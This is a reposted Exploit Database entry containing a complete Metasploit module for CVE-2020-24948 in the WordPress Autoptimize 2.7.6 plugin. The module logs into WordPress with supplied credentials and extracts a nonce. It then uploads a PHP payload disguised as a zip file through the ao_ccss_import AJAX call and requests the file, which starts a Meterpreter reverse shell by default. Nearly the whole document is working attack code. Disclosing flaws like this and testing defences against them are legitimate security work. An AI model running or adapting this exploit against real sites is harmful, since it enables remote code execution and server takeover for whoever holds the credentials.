WordPress Plugin Autoptimize 2.7.6 – Authenticated Arbitrary File Upload (Metasploit)

• Exploit Database
• 17 阅读

• 作者： SunCSR Team
  日期： 2021-01-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49399/

• ##
  # This module requires Metasploit: https://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(
  info,
  'Name' => 'Wordpress Autoptimize Authenticated File Upload',
  'Description'=> %q{
  The ao_ccss_import AJAX call does not ensure that the file provided is a legitimate Zip file,
  allowing high privilege users to upload arbitrary files, such as PHP, leading to RCE.
  },
  'Author' =>
  [
  'Khanh Nguyen - Suncsr Team', # Vulnerability discovery
  'Hoa Nguyen - Suncsr Team',# Metasploit module
  'Thien Ngo - Suncsr Team' # Metasploit module
  ],
  'License'=> MSF_LICENSE,
  'References' =>
  [
  ['CVE', '2020-24948'],
  ['EDB', '48770'],
  ['WPVDB', '10372']
  ],
  'Privileged' => false,
  'Platform' => ['php'],
  'Arch' => ARCH_PHP,
  'DefaultOptions' => {
  'PAYLOAD' => 'php/meterpreter/reverse_tcp'
  },
  'Targets'=> [['WP Autoptimize 2.7.6', {}]],
  'DefaultTarget'=> 0,
  'DisclosureDate' => '2020-08-24'))
  
  register_options(
  [
  OptString.new('USERNAME', [true, 'The WordPress password to authenticate with', nil]),
  OptString.new('PASSWORD', [true, 'The WordPress username to authenticate with', nil])
  ])
  end
  
  def check
  check_plugin_version_from_readme('autoptimize','2.7.7')
  end
  
  def ao_ccss_import_nonce(cookie)
  res = send_request_cgi({
  'uri' => normalize_uri(wordpress_url_backend,'options-general.php'),
  'cookie' => cookie,
  'vars_get' => {
  'page' => 'ao_critcss'
  }
  },5)
  
  if res.code == 200
  print_good("Found ao_ccss_import_nonce_code Value!")
  else
   fail_with(Failure::Unknown,'Server did not response in an expected way')
  end
  
  ao_ccss_import_nonce_code = res.body.match(/'ao_ccss_import_nonce', '(\w+)/).captures[0]
  return ao_ccss_import_nonce_code
  end
  
  def exploit
  username = datastore['USERNAME']
  password = datastore['PASSWORD']
  print_status("Trying to login as #{username}")
  cookie = wordpress_login(datastore['USERNAME'],datastore['PASSWORD'])
  if cookie.nil?
  print_error("Unable to login as #{username}")
  end
  
  vars = ao_ccss_import_nonce(cookie)
  print_status("Trying to upload payload")
  filename = "#{rand_text_alpha_lower(8)}.php"
  
  data = Rex::MIME::Message.new
  data.add_part('ao_ccss_import', nil, nil, 'form-data; name="action"')
  data.add_part(vars, nil, nil, 'form-data; name="ao_ccss_import_nonce"')
  data.add_part(payload.encoded, 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
  post_data = data.to_s
  print_status("Uploading payload")
  
  res = send_request_cgi({
  'method' => 'POST',
  'uri' => normalize_uri(wordpress_url_backend,'admin-ajax.php'),
  'ctype' => "multipart/form-data; boundary=#{data.bound}",
  'data' => post_data,
  'cookie' => cookie
  })
  
  if res.code == 200
   register_files_for_cleanup(filename)
  else
  fail_with(Failure::Unknown,'Server did not response in an expected way')
  end
  
  print_status("Calling uploaded file #{filename}")
  send_request_cgi({'uri' => normalize_uri(wordpress_url_wp_content, 'uploads','ao_ccss',filename)},5)
   end
  end